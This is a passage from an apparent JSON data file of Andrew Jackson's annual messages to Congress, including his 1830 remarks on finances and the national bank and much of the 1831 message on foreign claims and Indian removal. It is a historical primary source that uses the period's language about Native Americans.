small minorities entered into for the purpose of mutual assistance\nin measures which, resting solely on their own merits, could never be\ncarried.I am well aware that this is a subject of so much delicacy, on account\nof the extended interests in involves, as to require that it should be\ntouched with the utmost caution, and that while an abandonment of the\npolicy in which it originated--a policy coeval with our Government, and\npursued through successive Administrations--is neither to be expected\nor desired, the people have a right to demand, and have demanded, that\nit be so modified as to correct abuses and obviate injustice.That our deliberations on this interesting subject should be\nuninfluenced by those partisan conflicts that are incident to free\ninstitutions is the fervent wish of my heart. To make this great\nquestion, which unhappily so much divides and excites the public mind,\nsubservient to the short-sighted views of faction, must destroy all\nhope of settling it satisfactorily to the great body of the people and\nfor the general interest. I can not, therefore, in taking leave of the\nsubject, too earnestly for my own feelings or the common good warn you\nagainst the blighting consequences of such a course.According to the estimates at the Treasury Department, the receipts in\nthe Treasury during the present year will amount to $24,161,018, which\nwill exceed by about $300,000 the estimate presented in the last annual\nreport of the Secretary of the Treasury. The total expenditure during\nthe year, exclusive of public debt, is estimated at $13,742,311, and\nthe payment on account of public debt for the same period will have\nbeen $11,354,630, leaving a balance in the Treasury on January 1st,\n1831 of $4,819,781.In connection with the condition of our finances, it affords me\npleasure to remark that judicious and efficient arrangements have been\nmade by the Treasury Department for securing the pecuniary\nresponsibility of the public officers and the more punctual payment of\nthe public dues. The Revenue Cutter Service has been organized and\nplaced on a good footing, and aided by an increase of inspectors at\nexposed points, and regulations adopted under the act of May, 1830, for\nthe inspection and appraisement of merchandise, has produced much\nimprovement in the execution of the laws and more security against the\ncommission of frauds upon the revenue. Abuses in the allowances for\nfishing bounties have also been corrected, and a material saving in\nthat branch of the service thereby effected. In addition to these\nimprovements the system of expenditure for sick sea men belonging to\nthe merchant service has been revised, and being rendered uniform and\neconomical the benefits of the fund applicable to this object have been\nusefully extended.The prosperity of our country is also further evinced by the increased\nrevenue arising from the sale of public lands, as will appear from the\nreport of the Commissioner of the General Land Office and the documents\naccompanying it, which are herewith transmitted. I beg leave to draw\nyour attention to this report, and to the propriety of making early\nappropriations for the objects which it specifies.Your attention is again invited to the subjects connected with that\nportion of the public interests intrusted to the War Department. Some\nof them were referred to in my former message, and they are presented\nin detail in the report of the Secretary of War herewith submitted. I\nrefer you also to the report of that officer for a knowledge of the\nstate of the Army, fortifications, arsenals, and Indian affairs, all of\nwhich it will be perceived have been guarded with zealous attention and\ncare. It is worthy of your consideration whether the armaments\nnecessary for the fortifications on our maritime frontier which are now\nor shortly will be completed should not be in readiness sooner than the\ncustomary appropriations will enable the Department to provide them.\nThis precaution seems to be due to the general system of fortification\nwhich has been sanctioned by Congress, and is recommended by that maxim\nof wisdom which tells us in peace to prepare for war.I refer you to the report of the Secretary of the Navy for a highly\nsatisfactory account of the manner in which the concerns of that\nDepartment have been conducted during the present year. Our position in\nrelation to the most powerful nations of the earth, and the present\ncondition of Europe, admonish us to cherish this arm of our national\ndefense with peculiar care. Separated by wide seas from all those\nGovernments whose power we might have reason to dread, we have nothing\nto apprehend from attempts at conquest. It is chiefly attacks upon our\ncommerce and harrassing in-roads upon our coast against which we have\nto guard. A naval force adequate to the protection of our commerce,\nalways afloat, with an accumulation of the means to give it a rapid\nextension in case of need, furnishes the power by which all such\naggressions may be prevented or repelled. The attention of the\nGovernment has therefore been recently directed more to preserving the\npublic vessels already built and providing materials to be placed in\ndepot for future use than to increasing their number. With the aid of\nCongress, in a few years the Government will be prepared in case of\nemergency to put afloat a powerful navy of new ships almost as soon as\nold ones could be repaired.The modifications in this part of the service suggested in my last\nannual message, which are noticed more in detail in the report of the\nSecretary of the Navy, are again recommended to your serious attention.The report of the Post Master General in like manner exhibits a\nsatisfactory view of the important branch of the Government under his\ncharge. In addition to the benefits already secured by the operations\nof the Post Office Department, considerable improvements within the\npresent year have been made by an increase in the accommodation\nafforded by stage coaches, and in the frequency and celerity of the\nmail between some of the most important points of the Union.Under the late contracts improvements have been provided for the\nsouthern section of the country, and at the same time an annual saving\nmade of upward of $72,000. Not with standing the excess of expenditure\nbeyond the current receipts for a few years past, necessarily incurred\nin the fulfillment of existing contracts and in the additional expenses\nbetween the periods of contracting to meet the demands created by the\nrapid growth and extension of our flourishing country, yet the\nsatisfactory assurance is given that the future revenue of the\nDepartment will be sufficient to meets its extensive engagements. The\nsystem recently introduced that subjects its receipts and disbursements\nto strict regulation has entirely fulfilled its designs. It gives full\nassurance of the punctual transmission, as well as the security of the\nfunds of the Department. The efficiency and industry of its officers\nand the ability and energy of contractors justify an increased\nconfidence in its continued prosperity.The attention of Congress was called on a former occasion to the\nnecessity of such a modification in the office of Attorney General of\nthe United States as would render it more adequate to the wants of the\npublic service. This resulted in the establishment of the office of\nSolicitor of the Treasury, and the earliest measures were taken to give\neffect to the provisions of the law which authorized the appointment of\nthat officer and defined his duties. But it is not believed that this\nprovision, however useful in itself, is calculated to supersede the\nnecessity of extending the duties and powers of the Attorney General's\nOffice. On the contrary, I am convinced that the public interest would\nbe greatly promoted by giving to that officer the general\nsuperintendence of the various law agents of the Government, and of all\nlaw proceedings, whether civil or criminal, in which the United States\nmay be interested, allowing him at the same time such compensation as\nwould enable him to devote his undivided attention to the public\nbusiness. I think such a provision is alike due to the public and to\nthe officer.Occasions of reference from the different Executive Departments to the\nAttorney General are of frequent occurrence, and the prompt decision of\nthe questions so referred tends much to facilitate the dispatch of\nbusiness in those Departments. The report of the Secretary of the\nTreasury hereto appended shows also a branch of the public service not\nspecifically intrusted to any officer which might be advantageously\ncommitted to the Attorney General. But independently of those\nconsiderations this office is now one of daily duty. It was originally\norganized and its compensation fixed with a view to occasional service,\nleaving to the incumbent time for the exercise of his profession in\nprivate practice. The state of things which warranted such an\norganization no longer exists. The frequent claims upon the services of\nthis officer would render his absence from the seat of Government in\nprofessional attendance upon the courts injurious to the public\nservice, and the interests of the Government could not fail to be\npromoted by charging him with the general superintendence of all its\nlegal concerns.Under a strong conviction of the justness of these suggestions, I\nrecommend it to Congress to make the necessary provisions for giving\neffect to them, and to place the Attorney General in regard to\ncompensation on the same footing with the heads of the several\nExecutive Departments. To this officer might also be intrusted a\ncognizance of the cases of insolvency in public debtors, especially if\nthe views which I submitted on this subject last year should meet the\napprobation of Congress--to which I again solicit your attention.Your attention is respectfully invited to the situation of the District\nof Columbia. Placed by the Constitution under the exclusive\njurisdiction and control of Congress, this District is certainly\nentitled to a much greater share of its consideration than it has yet\nreceived. There is a want of uniformity in its laws, particularly in\nthose of a penal character, which increases the expense of their\nadministration and subjects the people to all the inconveniences which\nresult from the operation of different codes in so small a territory.\nOn different sides of the Potomac the same offense is punishable in\nunequal degrees, and the peculiarities of many of the early laws of\nMaryland and Virginia remain in force, not with standing their\nrepugnance in some cases to the improvements which have superseded them\nin those States.Besides a remedy for these evils, which is loudly called for, it is\nrespectfully submitted whether a provision authorizing the election of\na delegate to represent the wants of the citizens of this District on\nthe floor of Congress is not due to them and to the character of our\nGovernment. No principles of freedom, and there is none more important\nthan that which cultivates a proper relation between the governors and\nthe governed. Imperfect as this must be in this case, yet it is\nbelieved that it would be greatly improved by a representation in\nCongress with the same privileges that are allowed to the other\nTerritories of the United States.The penitentiary is ready for the reception of convicts, and only\nawaits the necessary legislation to put it into operation, as one\nobject of which I beg leave to recall your attention to the propriety\nof providing suitable compensation for the officers charged with its\ninspection.The importance of the principles involved in the inquiry whether it\nwill be proper to recharter the Bank of the United States requires that\nI should again call the attention of Congress to the subject. Nothing\nhas occurred to lessen in any degree the dangers which many of our\ncitizens apprehend from that institution as at present organized. In\nthe spirit of improvement and compromise which distinguishes our\ncountry and its institutions it becomes us to inquire whether it be not\npossible to secure the advantages afforded by the present bank through\nthe agency of a Bank of the United States so modified in its principles\nand structures as to obviate constitutional and other objections.It is thought practicable to organize such a bank with the necessary\nofficers as a branch of the Treasury Department, based on the public\nand individual deposits, without power to make loans or purchase\nproperty, which shall remit the funds of the Government, and the\nexpense of which may be paid, if thought advisable, by allowing its\nofficers to sell bills of exchange to private individuals at a moderate\npremium. Not being a corporate body, having no stock holders, debtors,\nor property, and but few officers, it would not be obnoxious to the\nconstitutional objections which are urged against the present bank; and\nhaving no means to operate on the hopes, fears, or interests of large\nmasses of the community, it would be shorn of the influence which makes\nthat bank formidable. The States would be strengthened by having in\ntheir hands the means of furnishing the local paper currency through\ntheir own banks, while the Bank of the United States, though issuing no\npaper, would check the issues of the State banks by taking their notes\nin deposit and for exchange only so long as they continue to be\nredeemed with specie. In times of public emergency the capacities of\nsuch an institution might be enlarged by legislative provisions.These suggestions are made not so much as a recommendation as with a\nview of calling the attention of Congress to the possible modifications\nof a system which can not continue to exist in its present form without\noccasional collisions with the local authorities and perpetual\napprehensions and discontent on the part of the States and the people.In conclusion, fellow citizens, allow me to invoke in behalf of your\ndeliberations that spirit of conciliation and disinterestedness which\nis the gift of patriotism. Under an over-ruling and merciful Providence\nthe agency of this spirit has thus far been signalized in the\nprosperity and glory of our beloved country. May its influence be\neternal.", 
+    "name": "Andrew Jackson"
+}
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+{
+    "date": "December 6, 1831", 
+    "speech": "Fellow Citizens of the Senate and of the House of Representatives:The representation of the people has been renewed for the 22nd time\nsince the Constitution they formed has been in force. For near half a\ncentury the Chief Magistrates who have been successively chosen have\nmade their annual communications of the state of the nation to its\nrepresentatives. Generally these communications have been of the most\ngratifying nature, testifying an advance in all the improvements of\nsocial and all the securities of political life. But frequently and\njustly as you have been called on to be grateful for the bounties of\nProvidence, at few periods have they been more abundantly or\nextensively bestowed than at the present; rarely, if ever, have we had\ngreater reason to congratulate each other on the continued and\nincreasing prosperity of our beloved country.Agriculture, the first and most important occupation of man, has\ncompensated the labors of the husband-man with plentiful crops of all\nthe varied products of our extensive country. Manufactures have been\nestablished in which the funds of the capitalist find a profitable\ninvestment, and which give employment and subsistence to a numerous and\nincreasing body of industrious and dexterous mechanics. The laborer is\nrewarded by high wages in the construction of works of internal\nimprovement, which are extending with unprecedented rapidity. Science\nis steadily penetrating the recesses of nature and disclosing her\nsecrets, while the ingenuity of free minds is subjecting the elements\nto the power of man and making each new conquest auxiliary to his\ncomfort. By our mails, whose speed is regularly increased and whose\nroutes are every year extended, the communication of public\nintelligence and private business is rendered frequent and safe; the\nintercourse between distant cities, which it formerly required weeks to\naccomplish, is now effected in a few days; and in the construction of\nrail roads and the application of steam power we have a reasonable\nprospect that the extreme parts of our country will be so much\napproximated and those most isolated by the obstacles of nature\nrendered so accessible as to remove an apprehension some times\nentertained that the great extent of the Union would endanger its\npermanent existence.If from the satisfactory view of our agriculture, manufactures, and\ninternal improvements we turn to the state of our navigation and trade\nwith foreign nations and between the States, we shall scarcely find\nless cause for gratulation. A beneficent Providence has provided for\ntheir exercise and encouragement an extensive coast, indented by\ncapacious bays, noble rivers, inland seas; with a country productive of\nevery material for ship building and every commodity for gainful\ncommerce, and filled with a population active, intelligent,\nwell-informed, and fearless of danger. These advantages are not\nneglected, and an impulse has lately been given to commercial\nenterprise, which fills our ship yards with new constructions,\nencourages all the arts and branches of industry connected with them,\ncrowds the wharves of our cities with vessels, and covers the most\ndistant seas with our canvas.Let us be grateful for these blessings to the beneficent Being who has\nconferred them, and who suffers us to indulge a reasonable hope of\ntheir continuance and extension, while we neglect not the means by\nwhich they may be preserved. If we may dare to judge of His future\ndesigns by the manner in which His past favors have been bestowed, He\nhas made our national prosperity to depend on the preservation of our\nliberties, our national force on our Federal Union, and our individual\nhappiness on the maintenance of our State rights and wise institutions.\nIf we are prosperous at home and respected abroad, it is because we are\nfree, united, industrious, and obedient to the laws. While we continue\nso we shall by the blessing of Heaven go on in the happy career we have\nbegun, and which has brought us in the short period of our political\nexistence from a population of 3,000,000 to 13,000,000; from 13\nseparate colonies to 24 united States; from weakness to strength; from\na rank scarcely marked in the scale of nations to a high place in their\nrespect.This last advantage is one that has resulted in a great degree from the\nprinciples which have guided our intercourse with foreign powers since\nwe have assumed an equal station among them, and hence the annual\naccount which the Executive renders to the country of the manner in\nwhich that branch of his duties has been fulfilled proves instructive\nand salutary.The pacific and wise policy of our Government kept us in a state of\nneutrality during the wars that have at different periods since our\npolitical existence been carried on by other powers; but this policy,\nwhile it gave activity and extent to our commerce, exposed it in the\nsame proportion to injuries from the belligerent nations. Hence have\narisen claims of indemnity for those injuries. England, France, Spain,\nHolland, Sweden, Denmark, Naples, and lately Portugal had all in a\ngreater or less degree infringed our neutral rights. Demands for\nreparation were made upon all. They have had in all, and continue to\nhave in some, cases a leading influence on the nature of our relations\nwith the powers on whom they were made.Of the claims upon England it is unnecessary to speak further than to\nsay that the state of things to which their prosecution and denial gave\nrise has been succeeded by arrangements productive of mutual good\nfeeling and amicable relations between the two countries, which it is\nhoped will not be interrupted. One of these arrangements is that\nrelating to the colonial trade which was communicated to Congress at\nthe last session; and although the short period during which it has\nbeen in force will not enable me to form an accurate judgment of its\noperation, there is every reason to believe that it will prove highly\nbeneficial. The trade thereby authorized has employed to September\n30th, 1831 upward of 30 thousand tons of American and 15 thousand tons\nof foreign shipping in the outward voyages, and in the inward nearly an\nequal amount of American and 20 thousand only of foreign tonnage.\nAdvantages, too, have resulted to our agricultural interests from the\nstate of the trade between Canada and our Territories and States\nbordering or the St. Lawrence and the Lakes which may prove more than\nequivalent to the loss sustained by the discrimination made to favor\nthe trade of the northern colonies with the West Indies.After our transition from the state of colonies to that of an\nindependent nation many points were found necessary to be settled\nbetween us and Great Britain. Among them was the demarcation of\nboundaries not described with sufficient precision in the treaty of\npeace. Some of the lines that divide the States and Territories of the\nUnited States from the British Provinces have been definitively fixed.That, however, which separates us from the Provinces of Canada and New\nBrunswick to the North and the East was still in dispute when I came\ninto office, but I found arrangements made for its settlement over\nwhich I had no control. The commissioners who had been appointed under\nthe provisions of the treaty of Ghent having been unable to agree, a\nconvention was made with Great Britain by my immediate predecessor in\noffice, with the advice and consent of the Senate, by which it was\nagreed \"that the points of difference which have arisen in the\nsettlement of the boundary line between the American and British\ndominions, as described in the 5th article of the treaty of Ghent,\nshall be referred, as therein provided, to some friendly sovereign or\nState, who shall be invited to investigate and make a decision upon\nsuch points of difference\"; and the King of the Netherlands having by\nthe late President and His Britannic Majesty been designated as such\nfriendly sovereign, it became my duty to carry with good faith the\nagreement so made into full effect. To this end I caused all the\nmeasures to be taken which were necessary to a full exposition of our\ncase to the sovereign arbiter, and nominated as minister\nplenipotentiary to his Court a distinguished citizen of the State most\ninterested in the question, and who had been one of the agents\npreviously employed for settling the controversy.On January 10th, 1831 His Majesty the King of the Netherlands delivered\nto the plenipotentiaries of the United States and of Great Britain his\nwritten opinion on the case referred to him. The papers in relation to\nthe subject will be communicated by a special message to the proper\nbranch of the Government with the perfect confidence that its wisdom\nwill adopt such measures as will secure an amicable settlement of the\ncontroversy without infringing any constitutional right of the States\nimmediately interested.It affords me satisfaction to inform you that suggestions made by my\ndirection to the charge d'affaires of His Britannic Majesty to this\nGovernment have had their desired effect in producing the release of\ncertain American citizens who were imprisoned for setting up the\nauthority of the State of Maine at a place in the disputed territory\nunder the actual jurisdiction of His Britannic Majesty. From this and\nthe assurances I have received of the desire of the local authorities\nto avoid any cause of collision I have the best hopes that a good\nunderstanding will be kept up until it is confirmed by the final\ndisposition of the subject.The amicable relations which now subsist between the United States and\nGreat Britain, the increasing intercourse between their citizens, and\nthe rapid obliteration of unfriendly prejudices to which former events\nnaturally gave rise concurred to present this as a fit period for\nrenewing our endeavors to provide against the recurrence of causes of\nirritation which in the event of war between Great Britain and any\nother power would inevitably endanger our peace. Animated by the\nsincerest desire to avoid such a state of things, and peacefully to\nsecure under all possible circumstances the rights and honor of the\ncountry, I have given such instructions to the minister lately sent to\nthe Court of London as will evince that desire, and if met by a\ncorrespondent disposition, which we can not doubt, will put an end to\ncauses of collision which, without advantage to either, tend to\nestrange from each other two nations who have every motive to preserve\nnot only peace, but an intercourse of the most amicable nature.In my message at the opening of the last session of Congress I\nexpressed a confident hope that the justice of our claims upon France,\nurged as they were with perseverance and signal ability by our minister\nthere, would finally be acknowledged. This hope has been realized. A\ntreaty has been signed which will immediately be laid before the Senate\nfor its approbation, and which, containing stipulations that require\nlegislative acts, must have the concurrence of both houses before it\ncan be carried into effect.By it the French Government engage to pay a sum which, if not quite\nequal to that which may be found due to our citizens, will yet, it is\nbelieved, under all circumstances, be deemed satisfactory by those\ninterested. The offer of a gross sum instead of the satisfaction of\neach individual claim was accepted because the only alternatives were a\nrigorous exaction of the whole amount stated to be due on each claim,\nwhich might in some instances be exaggerated by design, in other\nover-rated through error, and which, therefore, it would have been both\nungracious and unjust to have insisted on; or a settlement by a mixed\ncommission, to which the French negotiators were very averse, and which\nexperience in other cases had shewn to be dilatory and often wholly\ninadequate to the end.A comparatively small sum is stipulated on our part to go to the\nextinction of all claims by French citizens on our Government, and a\nreduction of duties on our cotton and their wines has been agreed on as\na consideration for the renunciation of an important claim for\ncommercial privileges under the construction they gave to the treaty\nfor the cession of Louisiana.Should this treaty receive the proper sanction, a source of irritation\nwill be stopped that has for so many years in some degree alienated\nfrom each other two nations who, from interest as well as the\nremembrance of early associations, ought to cherish the most friendly\nrelations; an encouragement will be given for perseverance in the\ndemands of justice by this new proof that if steadily pursued they will\nbe listened to, and admonition will be offered to those powers, if any,\nwhich may be inclined to evade them that they will never be abandoned;\nabove all, a just confidence will be inspired in our fellow citizens\nthat their Government will exert all the powers with which they have\ninvested it in support of their just claims upon foreign nations; at\nthe same time that the frank acknowledgment and provision for the\npayment of those which were addressed to our equity, although\nunsupported by legal proof, affords a practical illustration of our\nsubmission to the divine rule of doing to others what we desire they\nshould do unto us.Sweden and Denmark having made compensation for the irregularities\ncommitted by their vessels or in their ports to the perfect\nsatisfaction of the parties concerned, and having renewed the treaties\nof commerce entered into with them, our political and commercial\nrelations with those powers continue to be on the most friendly\nfooting.With Spain our differences up to February 22d, 1819 were settled by the\ntreaty of Washington of that date, but at a subsequent period our\ncommerce with the States formerly colonies of Spain on the continent of\nAmerica was annoyed and frequently interrupted by her public and\nprivate armed ships. They captured many of our vessels prosecuting a\nlawful commerce and sold them and their cargoes, and at one time to our\ndemands for restoration and indemnity opposed the allegation that they\nwere taken in the violation of a blockade of all the ports of those\nStates. This blockade was declaratory only, and the inadequacy of the\nforce to maintain it was so manifest that this allegation was varied to\na charge of trade in contraband of war. This, in its turn, was also\nfound untenable, and the minister whom I sent with instructions to\npress for the reparation that was due to our injured fellow citizens\nhas transmitted an answer to his demand by which the captures are\ndeclared to have been legal, and are justified because the independence\nof the States of America never having been acknowledged by Spain she\nhad a right to prohibit trade with them under her old colonial laws.\nThis ground of defense was contradictory, not only to those which had\nbeen formerly alleged, but to the uniform practice and established laws\nof nations, and had been abandoned by Spain herself in the convention\nwhich granted indemnity to British subjects for captures made at the\nsame time, under the same circumstances, and for the same allegations\nwith those of which we complain.I, however, indulge the hope that further reflection will lead to other\nviews, and feel confident that when His Catholic Majesty shall be\nconvinced of the justice of the claims his desire to preserve friendly\nrelations between the two countries, which it is my earnest endeavor to\nmaintain, will induce him to accede to our demand. I have therefore\ndispatched a special messenger with instructions to our minister to\nbring the case once more to his consideration, to the end that if\n(which I can not bring myself to believe) the same decision (that can\nnot but be deemed an unfriendly denial of justice) should be persisted\nin the matter may before your adjournment be laid before you, the\nconstitutional judges of what is proper to be done when negotiation for\nredress of injury fails.The conclusion of a treaty for indemnity with France seemed to present\na favorable opportunity to renew our claims of a similar nature on\nother powers, and particularly in the case of those upon Naples, more\nespecially as in the course of former negotiations with that power our\nfailure to induce France to render us justice was used as an argument\nagainst us. The desires of the merchants, who were the principal\nsufferers, have therefore been acceded to, and a mission has been\ninstituted for the special purpose of obtaining for them a reparation\nalready too long delayed. This measure having been resolved on, it was\nput in execution without waiting for the meeting of Congress, because\nthe state of Europe created an apprehension of events that might have\nrendered our application ineffectual.Our demands upon the Government of the two Sicilies are of a peculiar\nnature. The injuries on which they are founded are not denied, nor are\nthe atrocity and perfidy under which those injuries were perpetrated\nattempted to be extenuated. The sole ground on which indemnity has been\nrefused is the alleged illegality of the tenure by which the monarch\nwho made the seizures held his crown. This defense, always unfounded in\nany principle of the law of nations, now universally abandoned, even by\nthose powers upon whom the responsibility for the acts of past rulers\nbore the most heavily, will unquestionably be given up by His Sicilian\nMajesty, whose counsels will receive an impulse from that high sense of\nhonor and regard to justice which are said to characterize him; and I\nfeel the fullest confidence that the talents of the citizen\ncommissioned for that purpose will place before him the just claims of\nour injured citizens in such as light as will enable me before your\nadjournment to announce that they have been adjusted and secured.\nPrecise instructions to the effect of bringing the negotiation to a\nspeedy issue have been given, and will be obeyed.In the late blockade of Terceira some of the Portuguese fleet captured\nseveral of our vessels and committed other excesses, for which\nreparation was demanded, and I was on the point of dispatching an armed\nforce to prevent any recurrence of a similar violence and protect our\ncitizens in the prosecution of their lawful commerce when official\nassurances, on which I relied, made the sailing of the ships\nunnecessary. Since that period frequent promises have been made that\nfull indemnity shall be given for the injuries inflicted and the losses\nsustained. In the performance there has been some, perhaps unavoidable,\ndelay; but I have the fullest confidence that my earnest desire that\nthis business may at once be closed, which our minister has been\ninstructed strongly to express, will very soon be gratified. I have the\nbetter ground for this hope from the evidence of a friendly disposition\nwhich that Government has shown an actual reduction in the duty on rice\nthe produce of our Southern States, authorizing the anticipation that\nthis important article of our export will soon be admitted on the same\nfooting with that produced by the most favored nation.With the other powers of Europe we have fortunately had no cause of\ndiscussions for the redress of injuries. With the Empire of the Russias\nour political connection is of the most friendly and our commercial of\nthe most liberal kind. We enjoy the advantages of navigation and trade\ngiven to the most favored nation, but it has not yet suited their\npolicy, or perhaps has not been found convenient from other\nconsiderations, to give stability and reciprocity to those privileges\nby a commercial treaty. The ill health of the minister last year\ncharged with making a proposition for that arrangement did not permit\nhim to remain at St. Petersburg, and the attention of that Government\nduring the whole of the period since his departure having been occupied\nby the war in which it was engaged, we have been assured that nothing\ncould have been effected by his presence. A minister will soon be\nnominated, as well to effect this important object as to keep up the\nrelations of amity and good understanding of which we have received so\nmany assurances and proofs from His Imperial Majesty and the Emperor\nhis predecessor.The treaty with Austria is opening to us an important trade with the\nhereditary dominions of the Emperor, the value of which has been\nhitherto little known, and of course not sufficiently appreciated.\nWhile our commerce finds an entrance into the south of Germany by means\nof this treaty, those we have formed with the Hanseatic towns and\nPrussia and others now in negotiation will open that vast country to\nthe enterprising spirit of our merchants on the north--a country\nabounding in all the materials for a mutually beneficial commerce,\nfilled with enlightened and industrious inhabitants, holding an\nimportant place in the politics of Europe, and to which we owe so many\nvaluable citizens. The ratification of the treaty with the Porte was\nsent to be exchanged by the gentleman appointed our charge d'affaires\nto that Court. Some difficulties occurred on his arrival, but at the\ndate of his last official dispatch he supposed they had been obviated\nand that there was every prospect of the exchange being speedily\neffected.This finishes the connected view I have thought it proper to give of\nour political and commercial relations in Europe. Every effort in my\npower will be continued to strengthen and extend them by treaties\nfounded on principles of the most perfect reciprocity of interest,\nneither asking nor conceding any exclusive advantage, but liberating as\nfar as it lies in my power the activity and industry of our fellow\ncitizens from the shackles which foreign restrictions may impose.To China and the East Indies our commerce continues in its usual\nextent, and with increased facilities which the credit and capital of\nour merchants afford by substituting bills for payments in specie. A\ndaring outrage having been committed in those seas by the plunder of\none of our merchant-men engaged in the pepper trade at a port in\nSumatra, and the piratical perpetrators belonging to tribes in such a\nstate of society that the usual course of proceedings between civilized\nnations could not be pursued, I forthwith dispatched a frigate with\norders to require immediate satisfaction for the injury and indemnity\nto the sufferers.Few changes have taken place in our connections with the independent\nStates of America since my last communication to Congress. The\nratification of a commercial treaty with the United Republics of Mexico\nhas been for some time under deliberation in their Congress, but was\nstill undecided at the date of our last dispatches. The unhappy civil\ncommotions that have prevailed there were undoubtedly the cause of the\ndelay, but as the Government is now said to be tranquillized we may\nhope soon to receive the ratification of the treaty and an arrangement\nfor the demarcation of the boundaries between us. In the mean time, an\nimportant trade has been opened with mutual benefit from St. Louis, in\nthe State of Missouri, by caravans to the interior Provinces of Mexico.\nThis commerce is protected in its progress through the Indian countries\nby the troops of the United States, which have been permitted to escort\nthe caravans beyond our boundaries to the settled part of the Mexican\nterritory.From Central America I have received assurances of the most friendly\nkind and a gratifying application for our good offices to remove a\nsupposed indisposition toward that Government in a neighboring State.\nThis application was immediately and successfully complied with. They\ngave us also the pleasing intelligence that differences which had\nprevailed in their internal affairs had been peaceably adjusted. Our\ntreaty with this Republic continues to be faithfully observed, and\npromises a great and beneficial commerce between the two countries--a\ncommerce of the greatest importance if the magnificent project of a\nship canal through the dominions of that State from the Atlantic to the\nPacific Ocean, now in serious contemplation, shall be executed.I have great satisfaction in communicating the success which has\nattended the exertions of our minister in Colombia to procure a very\nconsiderable reduction in the duties on our flour in that Republic.\nIndemnity also has been stipulated for injuries received by our\nmerchants from illegal seizures, and renewed assurances are given that\nthe treaty between the two countries shall be faithfully observed.Chili and Peru seem to be still threatened with civil commotions, and\nuntil they shall be settled disorders may naturally be apprehended,\nrequiring the constant presence of a naval force in the Pacific Ocean\nto protect our fisheries and guard our commerce.The disturbances that took place in the Empire of Brazil previously to\nand immediately consequent upon the abdication of the late Emperor\nnecessarily suspended any effectual application for the redress of some\npast injuries suffered by our citizens from that Government, while they\nhave been the cause of others, in which all foreigners seem to have\nparticipated. Instructions have been given to our minister there to\npress for indemnity due for losses occasioned by these irregularities,\nand to take care of our fellow citizens shall enjoy all the privileges\nstipulated in their favor by the treaty lately made between the two\npowers, all which the good intelligence that prevails between our\nminister at Rio Janeiro and the Regency gives us the best reason to\nexpect.I should have placed Buenos Ayres in the list of South American powers\nin respect to which nothing of importance affecting us was to be\ncommunicated but for occurrences which have lately taken place at the\nFalkland Islands, in which the name of that Republic has been used to\ncover with a show of authority acts injurious to our commerce and to\nthe property and liberty of our fellow citizens. In the course of the\npresent year one of our vessels, engaged in the pursuit of a trade\nwhich we have always enjoyed without molestation, has been captured by\na band acting, as they pretend, under the authority of the Government\nof Buenos Ayres. I have therefore given orders for the dispatch of an\narmed vessel to join our squadron in those seas and aid in affording\nall lawful protection to our trade which shall be necessary, and shall\nwithout delay send a minister to inquire into the nature of the\ncircumstances and also of the claim, if any, that is set up by that\nGovernment to those islands. In the mean time, I submit the case to the\nconsideration of Congress, to the end that they may clothe the\nExecutive with such authority and means as they may deem necessary for\nproviding a force adequate to the complete protection of our fellow\ncitizens fishing and trading in those seas.This rapid sketch of our foreign relations, it is hoped, fellow\ncitizens, may be of some use in so much of your legislation as may bear\non that important subject, while it affords to the country at large a\nsource of high gratification in the contemplation of our political and\ncommercial connection with the rest of the world. At peace with all;\nhaving subjects of future difference with few, and those susceptible of\neasy adjustment; extending our commerce gradually on all sides and on\nnone by any but the most liberal and mutually beneficial means, we may,\nby the blessing of Providence, hope for all that national prosperity\nwhich can be derived from an intercourse with foreign nations, guided\nby those eternal principles of justice and reciprocal good will which\nare binding as well upon States as the individuals of whom they are\ncomposed.I have great satisfaction in making this statement of our affairs,\nbecause the course of our national policy enables me to do it without\nany indiscreet exposure of what in other governments is usually\nconcealed from the people. Having none but a straight-forward, open\ncourse to pursue, guided by a single principle that will bear the\nstrongest light, we have happily no political combinations to form, no\nalliances to entangle us, no complicated interests to consult, and in\nsubjecting all we have done to the consideration of our citizens and to\nthe inspection of the world we give no advantage to other nations and\nlay ourselves open to no injury.It may not be improper to add that to preserve this state of things and\ngive confidence to the world in the integrity of our designs all our\nconsular and diplomatic agents are strictly enjoined to examine well\nevery cause of complaint preferred by our citizens, and while they urge\nwith proper earnestness those that are well founded, to countenance\nnone that are unreasonable or unjust, and to enjoin on our merchants\nand navigators the strictest obedience to the laws of the countries to\nwhich they resort, and a course of conduct in their dealings that may\nsupport the character of our nation and render us respected abroad.Connected with this subject, I must recommend a revisal of our consular\nlaws. Defects and omissions have been discovered in their operation\nthat ought to be remedied and supplied. For your further information on\nthis subject I have directed a report to be made by the Secretary of\nState, which I shall hereafter submit to your consideration.The internal peace and security of our confederated States is the next\nprincipal object of the General Government. Time and experience have\nproved that the abode of the native Indian within their limits is\ndangerous to their peace and injurious to himself. In accordance with\nmy recommendation at a former session of Congress, an appropriation of\n$500 thousand was made to aid the voluntary removal of the various\ntribes beyond the limits of the States. At the last session I had the\nhappiness to announce that the Chickasaws and Choctaws had accepted the\ngenerous offer of the Government and agreed to remove beyond the\nMississippi River, by which the whole of the State of Mississippi and\nthe western part of Alabama will be freed from Indian occupancy and\nopened to a civilized population. The treaties with these tribes are in\na course of execution, and their removal, it is hoped, will be\ncompleted in the course of 1832.At the request of the authorities of Georgia the registration of\nCherokee Indians for emigration has been resumed, and it is confidently\nexpected that half, if not two-third, of that tribe will follow the\nwise example of their more westerly brethren. Those who prefer\nremaining at their present homes will hereafter be governed by the laws\nof Georgia, as all her citizens are, and cease to be the objects of\npeculiar care on the part of the General Government.During the present year the attention of the Government has been\nparticularly directed to those tribes in the powerful and growing State\nof Ohio, where considerable tracts of the finest lands were still\noccupied by the aboriginal proprietors. Treaties, either absolute or\nconditional, have been made extinguishing the whole Indian title to the\nreservations in that State, and the time is not distant, it is hoped,\nwhen Ohio will be no longer embarrassed with the Indian population. The\nsame measures will be extended to Indiana as soon as there is reason to\nanticipate success. It is confidently believed that perseverance for a\nfew years in the present policy of the Government will extinguish the\nIndian title to all lands lying within the States composing our Federal\nUnion, and remove beyond their limits every Indian who is not willing\nto submit to their laws.Thus will all conflicting claims to jurisdiction between the States and\nthe Indian tribes be put to rest. It is pleasing to reflect that\nresults so beneficial, not only to the States immediately concerned,\nbut to the harmony of the Union, will have been accomplished by\nmeasures equally advantageous to the Indians. What the native savages\nbecome when surrounded by a dense population and by mixing with the\nwhites may be seen in the miserable remnants of a few Eastern tribes,\ndeprived of political and civil rights, forbidden to make contracts,\nand subjected to guardians, dragging out a wretched existence, without\nexcitement, without hope, and almost without thought.But the removal of the Indians beyond the limits and jurisdiction of\nthe States does 